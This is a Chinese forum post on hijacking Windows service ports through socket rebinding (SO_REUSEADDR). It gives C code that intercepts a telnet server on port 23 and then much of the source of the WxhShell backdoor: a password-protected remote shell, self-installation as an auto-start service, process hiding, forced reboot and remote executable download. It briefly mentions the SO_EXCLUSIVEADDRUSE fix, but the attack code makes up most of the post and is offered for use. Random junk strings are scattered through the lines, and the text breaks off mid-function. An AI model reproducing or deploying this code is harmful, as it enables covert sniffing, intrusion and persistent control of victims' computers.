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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7 B<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &ml7368@  
-!~ T$}/F  
  saddr.sin_family = AF_INET; I>(3\z4s  
^)|!nd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M$O*@])  
|lnMT)^D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?aMV{H*Q*  
hS?pc<~`#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ks}J ke>  
d5hYOhO[  
  这意味着什么?意味着可以进行如下的攻击: 6BnP"R.  
[#}0)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G1vg2'A  
FM80F_G^z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )$.::[pNA  
.d4L@{V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9;L5#/E  
fs:%L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \9Z1'W  
,/XeG`vk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jIzkI)WC|  
K ]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mw[  
h}T+M BA%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;AjY-w  
Q|gRBu  
  #include O>h,u[0  
  #include tz).]E D  
  #include 8c6dTT4  
  #include    qir/Sa' [  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4IT`8n~  
  int main() (iT?uMRz  
  { EINjI:/D  
  WORD wVersionRequested; uaX#nn?ws  
  DWORD ret; ^uDNArDmj5  
  WSADATA wsaData; -_p+4tV  
  BOOL val; h W<fu  
  SOCKADDR_IN saddr; FS(bEAk}  
  SOCKADDR_IN scaddr; _gGI&0(VM  
  int err; gq'}LcV  
  SOCKET s; ;VL v2J*  
  SOCKET sc; e\[z Q 2Z3  
  int caddsize; 24}?GO  
  HANDLE mt; S~ff<A>f  
  DWORD tid;   %ja8DRQ.  
  wVersionRequested = MAKEWORD( 2, 2 ); e Qz_,vTk  
  err = WSAStartup( wVersionRequested, &wsaData ); ? 0}M'L  
  if ( err != 0 ) { !bPsJbIo>  
  printf("error!WSAStartup failed!\n"); gc y'"d"  
  return -1; B*zR/?U^  
  } HZG^o^o1l+  
  saddr.sin_family = AF_INET; !' D1aea5  
   oC~8h8"l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |2YkZ nJn  
sM4Qu./  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {1<XOp#b  
  saddr.sin_port = htons(23); n0nvp@?7bJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @jKiE%OP  
  { J#```cB  
  printf("error!socket failed!\n"); 5)T=^"IHXi  
  return -1; \L-K}U>J  
  } ^h c&rD)_  
  val = TRUE; JB_<Haj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w`N|e0G@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BotGPk><c  
  { ~=!d>f~U  
  printf("error!setsockopt failed!\n"); "M GX(SQ  
  return -1; 2i~tzo  
  } =)2sehU/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \e=Iw"yd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nO ^m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R.Plfm06Ue  
<3 b|Sk:T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =&5^[:ksB  
  { 7M|!N_ $  
  ret=GetLastError(); $RFy9(>  
  printf("error!bind failed!\n"); R>r@I_  
  return -1; t,YnweH  
  } ^tw\F7  
  listen(s,2); 3!&PI  
  while(1) o!\Q,  
  { ')bas#=uP  
  caddsize = sizeof(scaddr); 'V*ixK8R0  
  //接受连接请求 ="k9 y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =J2cX`  
  if(sc!=INVALID_SOCKET) O!,WH?r  
  { M_:_(y>l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3y[uH'  
  if(mt==NULL) x34 4}\  
  { zK Y 9 'y  
  printf("Thread Creat Failed!\n"); h.QsI`@f  
  break; (P+TOu-y\  
  } sQ)D.9\~  
  } 8RA]h?$$J  
  CloseHandle(mt); H}Jdnu|ko  
  } o~aK[   
  closesocket(s); ];3]/b)&  
  WSACleanup(); 56|o6-a^  
  return 0; ^PNE6  
  }   <l:c O$ m  
  DWORD WINAPI ClientThread(LPVOID lpParam) (O&R-5m  
  { s>RtCw3,  
  SOCKET ss = (SOCKET)lpParam; ^:Mal[IR  
  SOCKET sc; JQo"<<[  
  unsigned char buf[4096]; bv NXA*0  
  SOCKADDR_IN saddr; V!|:rwG2  
  long num; PNSV?RT*pG  
  DWORD val; n^a&@?(+  
  DWORD ret; _SW_I{fjr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ojh\H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L.E6~Rv  
  saddr.sin_family = AF_INET; a/ k0(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); csEF^T-  
  saddr.sin_port = htons(23); &D/@H1fBe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  3ih3O  
  { ]12ypcf  
  printf("error!socket failed!\n"); DE$HF*WY  
  return -1; _#jR6g TY  
  } Dc2U+U(J  
  val = 100; _ $ Wj1h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (i 3=XfZ!C  
  { fcim4dfP  
  ret = GetLastError(); >dr34=(  
  return -1; -$x5[6bN  
  } ;Nd,K C0k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r?:zKj8/u  
  { nn1T5;  
  ret = GetLastError(); F*0rpQ,*  
  return -1; (3_m[N\F  
  } ,?3)L   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Oi?+Z:lak  
  { }[$qn|  
  printf("error!socket connect failed!\n"); $4*wK@xu  
  closesocket(sc);  .# Jusd  
  closesocket(ss); 5>S<9A|Q  
  return -1; aw3 oG?3I  
  } ,>AA2@6zMT  
  while(1) GY%2EM(  
  { 9On0om>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :vsF4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dYEsSFB m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MnQ4,+ji-  
  num = recv(ss,buf,4096,0); k|r+/gIV  
  if(num>0) fFSQLtm?E  
  send(sc,buf,num,0); Z [aKic  
  else if(num==0) pZ IDGy=~  
  break; 3YFbT Z  
  num = recv(sc,buf,4096,0); n/&}|998?  
  if(num>0) Cuk!I$  
  send(ss,buf,num,0); DJ!<:9FD  
  else if(num==0) R)>F*GsR  
  break; ?}n\&|+  
  } 19g-#H!  
  closesocket(ss); qgk-[zW#  
  closesocket(sc); %VSjMZ  
  return 0 ; q[wVC h  
  } ri]"a?Rm  
b: c$EPK  
_wY <8 F*  
========================================================== >k)zd-  
fx"~WeVcO  
下边附上一个代码,,WXhSHELL BJL*Dih m[  
W/\M9  
========================================================== )J"*[[e  
>$g+Gx\v4  
#include "stdafx.h" |)4aIa  
RyN}Gz/YN  
#include <stdio.h> FUD M]:XQ  
#include <string.h> vhEXtjL  
#include <windows.h> d4r@Gx%BE  
#include <winsock2.h> &|LP>'H;  
#include <winsvc.h> Mq#sSBE<K  
#include <urlmon.h> Cb1fTl%  
Q&@~<!t  
#pragma comment (lib, "Ws2_32.lib") PlX6,3F  
#pragma comment (lib, "urlmon.lib") Wifr%&t{J  
 g%.;ZlK  
#define MAX_USER   100 // 最大客户端连接数 egd%,`  
#define BUF_SOCK   200 // sock buffer PdkS3Hz  
#define KEY_BUFF   255 // 输入 buffer iVQ)hs W/  
0o>l+c  
#define REBOOT     0   // 重启 G|LJOq7QB  
#define SHUTDOWN   1   // 关机 k7R}]hq]""  
,t!K? Y  
#define DEF_PORT   5000 // 监听端口 j@98UZ{g\  
x3QQ`w-  
#define REG_LEN     16   // 注册表键长度 bo]= *  
#define SVC_LEN     80   // NT服务名长度 "A>/m"c]*  
%"C%pA  
// 从dll定义API ;r1.Uz(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NmH:/xU?^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oE;SZ"$ x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d$;1%rRj8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =_@Q+N*]|(  
Yqz B="  
// wxhshell配置信息 h%0FKi^  
struct WSCFG { 4b}94e@(N  
  int ws_port;         // 监听端口 S *D Bzl  
  char ws_passstr[REG_LEN]; // 口令 $.g)%#h:  
  int ws_autoins;       // 安装标记, 1=yes 0=no / Ml d.  
  char ws_regname[REG_LEN]; // 注册表键名 5{.g~3"  
  char ws_svcname[REG_LEN]; // 服务名 iDdmr32E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Di^7@}kQS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H*H=a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _-mJI+^/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ed^F_Gg#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pn._u`xMV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fb^Ae6/i  
4Up3x+bg  
}; x392uS$#  
jWX^h^n7K  
// default Wxhshell configuration :8CYTEc  
struct WSCFG wscfg={DEF_PORT, Ev)aXP  
    "xuhuanlingzhe", {T=rsPp<@  
    1, )yyS59s  
    "Wxhshell", 7k==?,LG3  
    "Wxhshell", K;NaiRP#k  
            "WxhShell Service", N =0R6{'  
    "Wrsky Windows CmdShell Service", H"n@=DMLm  
    "Please Input Your Password: ", 'a6:3*  
  1, $1ZF kw  
  "http://www.wrsky.com/wxhshell.exe", *qN (_  
  "Wxhshell.exe" /Sn>{ &  
    }; ]ICBNJ  
4hLv"R.  
// 消息定义模块 /qeSR3WC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0D=7Mef  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a+_F^   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M?FbBJ`sF  
char *msg_ws_ext="\n\rExit."; `B GU  
char *msg_ws_end="\n\rQuit."; a=%QckR*  
char *msg_ws_boot="\n\rReboot..."; oKlOcws}  
char *msg_ws_poff="\n\rShutdown..."; NW*qw q  
char *msg_ws_down="\n\rSave to ";  (r!d4  
Cjn)`Q8  
char *msg_ws_err="\n\rErr!"; =JK# "'  
char *msg_ws_ok="\n\rOK!"; |TE\]  
6Y-sc*5  
char ExeFile[MAX_PATH]; SaA9)s  
int nUser = 0; LqOjVQxz  
HANDLE handles[MAX_USER]; rjJ-ZRs\  
int OsIsNt; v."0igMO  
P?Fm<s:  
SERVICE_STATUS       serviceStatus; s(3iGuT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /EXub U73  
L3 VyW8Y  
// 函数声明 HHMv%H]M  
int Install(void); J@4,@+X  
int Uninstall(void); HbUadPr  
int DownloadFile(char *sURL, SOCKET wsh); $S(q;Y  
int Boot(int flag); xSal=a;k  
void HideProc(void); :87HXz6]jS  
int GetOsVer(void); ,2y " \_  
int Wxhshell(SOCKET wsl); UB7H`)C}  
void TalkWithClient(void *cs); j%Cr)' H?  
int CmdShell(SOCKET sock); Z?o?"|o  
int StartFromService(void); Ac@ zTK6>  
int StartWxhshell(LPSTR lpCmdLine); 7lJs{$ P  
jh*aD=y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {+.ai8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R2%>y5dD  
 &9*MO  
// 数据结构和表定义 % w0Vf$  
SERVICE_TABLE_ENTRY DispatchTable[] = (q|EC;   
{ [L+VvO%cT  
{wscfg.ws_svcname, NTServiceMain}, <s737Rl  
{NULL, NULL} SA'c}gP  
}; ~5xs$ub  
|x ~<Dc>0*  
// 自我安装 i( l'f#  
int Install(void) "VfV;)]|w  
{ wzka4J{  
  char svExeFile[MAX_PATH]; m@W\Pic,j.  
  HKEY key; HxXCxI3  
  strcpy(svExeFile,ExeFile); nP+]WUnY  
zs_^m1t1s  
// 如果是win9x系统,修改注册表设为自启动 ,aLdW,<6  
if(!OsIsNt) { 0k7kmDW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~=pAy>oV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3IK+&hk  
  RegCloseKey(key); VSJ08Ngi   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5{@Hpj/B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xr<.r4  
  RegCloseKey(key);  K#LG7faj  
  return 0; RlH~<|XK  
    } XJ.ERLR.  
  } .bT|:Q~@{  
} \XUG-\$p  
else { =%Yw;% 0)Y  
YhzDi>hob  
// 如果是NT以上系统,安装为系统服务 w=txSF&Qr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '/@] V  
if (schSCManager!=0) t;~H6  
{ =rrbS8To=  
  SC_HANDLE schService = CreateService fcC?1M[BP~  
  ( >[U.P)7;  
  schSCManager, ny,a5zEnF  
  wscfg.ws_svcname, ^:yg,cS|Be  
  wscfg.ws_svcdisp, pOz4>R  
  SERVICE_ALL_ACCESS, mAFVjSa2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , npW1Z3n  
  SERVICE_AUTO_START, vG7aT  
  SERVICE_ERROR_NORMAL, ^z^ UFW  
  svExeFile, :<}.3Q?&  
  NULL, -}W `  
  NULL, WRWcB  
  NULL, mu!hD^fw  
  NULL, H:DTvv8e{  
  NULL mh4`,N  
  ); tl:+wp7P`  
  if (schService!=0) ~D9VjXfL)  
  { )= ,Lfj8x  
  CloseServiceHandle(schService); &>Ko}?w  
  CloseServiceHandle(schSCManager); J6) &b7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =:!$'q:  
  strcat(svExeFile,wscfg.ws_svcname); !/},k"p6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PI~W6a7p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z z4.gkU  
  RegCloseKey(key); ppBIl6  
  return 0; 7JedS  
    } m#(tBfH[  
  } (M5{y` Kk  
  CloseServiceHandle(schSCManager); !Hk$  t  
} LcA~a<_  
} }#rdMh  
9_6.%qj&  
return 1; \G}$+  
} DB^"iof  
fnUR]5\tc  
// 自我卸载 -UPlQL  
int Uninstall(void) 3]X9 z  
{ Jhyb{i8RR  
  HKEY key; G|p3NhLgO=  
,a$ ?KX  
if(!OsIsNt) { 4rh*&'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v GF<  
  RegDeleteValue(key,wscfg.ws_regname); ~[mAv #d&i  
  RegCloseKey(key); &dino  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :LuzKCvBP  
  RegDeleteValue(key,wscfg.ws_regname); Pw"o[8  
  RegCloseKey(key); #0hX'8];(  
  return 0; nVTCbV  
  } kJJUu  
} n>w/T"  
} r*'X]q|L+  
else { 6G<t1?_yD  
xF+a.gAIb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;Ly(O'9  
if (schSCManager!=0) f|*vWHSM  
{ g* NKY`,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); buXPeIo^VM  
  if (schService!=0) o@o6<OP^  
  { 1D0_k  
  if(DeleteService(schService)!=0) { h9McC3  
  CloseServiceHandle(schService); JYbE(&l%de  
  CloseServiceHandle(schSCManager); z_dorDF8`>  
  return 0; Rv)!p~V8  
  } 3q>6gaTv  
  CloseServiceHandle(schService); 5K;vdwSB  
  } L29,Y=n@  
  CloseServiceHandle(schSCManager); q>~\w1%}a\  
} }@ *Me+  
} GnE%C2L -  
R?Dbv'lp>  
return 1; ~ E) [!y  
} K8`M~P.  
x*~a{M,h  
// 从指定url下载文件 1GnT^u y/  
int DownloadFile(char *sURL, SOCKET wsh) ZwLD7j*)  
{ (O N \-*  
  HRESULT hr; ,_ XDCu @  
char seps[]= "/"; UXXN\D  
char *token; uhuwQS=X  
char *file; ZD9UE3-  
char myURL[MAX_PATH]; ~h~K"GbC?  
char myFILE[MAX_PATH]; wp!<u %  
IX7|_ci  
strcpy(myURL,sURL); -$(,&qyk  
  token=strtok(myURL,seps); ) #/@Jo2F  
  while(token!=NULL) |kwkikGQS  
  { qzVmsxBNP  
    file=token; w$9aTL7  
  token=strtok(NULL,seps); ) 0x* >;"o  
  } No)v&P%  
*-timVlaE  
GetCurrentDirectory(MAX_PATH,myFILE); 74c1i  
strcat(myFILE, "\\"); jb' hqz  
strcat(myFILE, file); p%A(5DE  
  send(wsh,myFILE,strlen(myFILE),0); 62B` Z5j#  
send(wsh,"...",3,0); Phsdn`,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SWjOJjn  
  if(hr==S_OK) 3U&Qo nCV  
return 0; gY], (*v  
else B)F2SK<@  
return 1; +w-UK[p  
~RVx~hh  
} J?XEF@?'G  
!8"516!d|p  
// 系统电源模块  H}NW?  
int Boot(int flag) ny5 = =C{9  
{ |H.(?!nTb  
  HANDLE hToken;  0gBD  
  TOKEN_PRIVILEGES tkp; )* @Oz  
EO'[AU%~  
  if(OsIsNt) { k;p:P ?s5Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bA-=au?o5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ui4H(A'}  
    tkp.PrivilegeCount = 1; pa&*n=&cL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C#X0Cn0ln  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4WnB{9 i`I  
if(flag==REBOOT) { ;l_%;O5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q)}sX6TB  
  return 0; . `lcxC  
} ZpPm>|w  
else { 9YMUvd,u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J{=by]-rD,  
  return 0; --0z"`@{  
} fbS l$jn.  
  } 0X\,!FL  
  else { >2 gemTy  
if(flag==REBOOT) { vN%zk(?T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J<:qzwh  
  return 0; *-bR~  
} ,MwwA@,9-  
else { :N#gNtC)b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3OV#H%  
  return 0; "k\W2,q[  
} od |w)?16  
} 0-EhDGa]r  
vBd^=O  
return 1; MpM-xz~  
} g% :Q86u  
KcVCA    
// win9x进程隐藏模块 j_SRCm~:  
void HideProc(void) =^4 vz=2  
{ MP?9k)f  
FsZF>vaV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )cB00*/  
  if ( hKernel != NULL ) ;Gxp'y  
  { 8QDRlF:;<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pL>Q'{7s3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zt!mx{l'  
    FreeLibrary(hKernel); 5xP\6Nx6&5  
  }  N\DEY]  
?s(%3_h  
return; h<i.@&  
} !l@IG C  
nCEt*~t9VE  
// 获取操作系统版本 oddS~lW  
int GetOsVer(void) D0=D8P}H:  
{ |)i- c`x  
  OSVERSIONINFO winfo; ? )-*&1cv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _S/bwPj|~y  
  GetVersionEx(&winfo); YEAiLC+q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^-PlTmT  
  return 1; p+#J;.  
  else S0 M-$  
  return 0; nX<!n\J T  
} 5NbI Vz  
z}yntY]n  
// 客户端句柄模块 GIsXv 2  
int Wxhshell(SOCKET wsl) 7*d}6\ %  
{ P~iu|j  
  SOCKET wsh; lh3%2Dq$  
  struct sockaddr_in client; il\#R%';5  
  DWORD myID; z m\=4^X  
Q<P],}?:  
  while(nUser<MAX_USER) &6FRw0GX  
{ "lx}.  
  int nSize=sizeof(client); S *?'y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yn[y9;I{  
  if(wsh==INVALID_SOCKET) return 1; 8263  
A!H6$-W|p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KWCA9.w4q  
if(handles[nUser]==0) i0Qg[%{9#  
  closesocket(wsh); I<z /Y?  
else IfeG"ua|  
  nUser++;  .VuZ=  
  } (A\qZtnyl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8},!t\j#]  
SC74r?N FA  
  return 0; Z%6I$KAN8  
} k# ZO4  
-o6K_R}R  
// 关闭 socket h|mh_T{+  
void CloseIt(SOCKET wsh) *5sr\b4#S  
{ 1Jc-hrN-  
closesocket(wsh); U:c!9uhp  
nUser--; 6gY5v @!w  
ExitThread(0); rOE[c  
} a"EP`  
8#2PJHl;  
// 客户端请求句柄 +dS e" W9  
void TalkWithClient(void *cs) o~<37J3).  
{ 0XSZ3dY&+  
;n00kel$  
  SOCKET wsh=(SOCKET)cs; P )_g t  
  char pwd[SVC_LEN]; Uc!} D  
  char cmd[KEY_BUFF]; {6~v oVkj  
char chr[1]; C^K?"800  
int i,j; Q?L-6]pg  
fxXZ^#2wX  
  while (nUser < MAX_USER) { ^;$a_eR  
)MHvuk:I)  
if(wscfg.ws_passstr) { /hOp>|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x,@cU}D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jj*XnL*  
  //ZeroMemory(pwd,KEY_BUFF); ,;y 5Mu8  
      i=0; hZVF72D26  
  while(i<SVC_LEN) { vi["G7  
:R{Xd{?  
  // 设置超时 HZ5*PXg~  
  fd_set FdRead; q El:2<  
  struct timeval TimeOut; ?lnX."eAdB  
  FD_ZERO(&FdRead); us"SM\X#  
  FD_SET(wsh,&FdRead); uNxR#S  
  TimeOut.tv_sec=8; xV}E3Yj2#  
  TimeOut.tv_usec=0; !3v!BJ#+,&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }?$d~]t)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y+_G L=J  
tcSn`+Bu_`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h<4WY#Y  
  pwd=chr[0]; SWY?0Pu  
  if(chr[0]==0xd || chr[0]==0xa) { QB'-`GwL  
  pwd=0; :-xp'_\L  
  break; hdQ[=PH)  
  } 5.0BaVwi  
  i++; =PP]LDlJs  
    } 0yfmQ=,X  
&7,Kv0j}  
  // 如果是非法用户,关闭 socket CSRcTxH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z ,87;4-  
} }N#jA yp!  
s7tNAj bgD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 15 x~[?!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d2&sl(O  
`][~0\Y3m  
while(1) { ah>;wW!6/  
,u-i9`B  
  ZeroMemory(cmd,KEY_BUFF); fCJ:QK!  
s+2\uMwf*  
      // 自动支持客户端 telnet标准   J1cD)nM<A  
  j=0; XG@_Lcv*  
  while(j<KEY_BUFF) { \vT0\1:|i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8RVNRV@g%  
  cmd[j]=chr[0]; 2shr&M fp[  
  if(chr[0]==0xa || chr[0]==0xd) { m@;X%wf<U  
  cmd[j]=0; UN'hnqC  
  break; CtTG`)"|  
  } ?9mFI(r~  
  j++; 1t+]r:{  
    } wz+  
((7~o?Vbg  
  // 下载文件 AmM^&  
  if(strstr(cmd,"http://")) { 6 K P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 282 m^ 2  
  if(DownloadFile(cmd,wsh)) |fYNkD 8z1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QxwZ$?w%  
  else T?N' k=   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "(F>?pq  
  } 8wp)aGTcU  
  else { /i"vEI  
mhH[jO)  
    switch(cmd[0]) { F2:+i#lE  
  ;El"dqH   
  // 帮助 M}!7/8HUC  
  case '?': { Wy.2*+5FX0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -\b~R7VQ  
    break; YT+fOndjaF  
  } UO5^4  
  // 安装 ,}2M'DSWa  
  case 'i': { x|<rt96 6A  
    if(Install()) /(8Usu?g.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;+>-uPT/1  
    else oJ ,t]e*q=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "[L[*>[9!  
    break; ~e@ QJ=r  
    } J!3 X}@_N  
  // 卸载 AFGWlC#`  
  case 'r': { S) Sv4Qm  
    if(Uninstall()) .t.H(Q9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;Kv9i<~LE  
    else ,)hUL/r6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uhSRl~tn  
    break; j2}C  
    } 5?kJ]:  
  // 显示 wxhshell 所在路径 1"RO)&  
  case 'p': { Ytmt+9  
    char svExeFile[MAX_PATH]; o/@.*Rj>Bg  
    strcpy(svExeFile,"\n\r"); B_i@D?bTD  
      strcat(svExeFile,ExeFile); '*MNRduE6  
        send(wsh,svExeFile,strlen(svExeFile),0);  poGF  
    break; lsU|xOB  
    } MLtfi{;LH  
  // 重启 jY-{hW+r  
  case 'b': { s+YQ :>F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /zMiy?  
    if(Boot(REBOOT)) mk~&>\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~'m GGH2  
    else { q]T{g*lT  
    closesocket(wsh); cx_FtD  
    ExitThread(0); 3+@p  
    } `YVdIDl]  
    break; YK!nV ,  
    } f;!1=/5u-  
  // 关机 L#Uk=  
  case 'd': { ^8Tq0>n?  
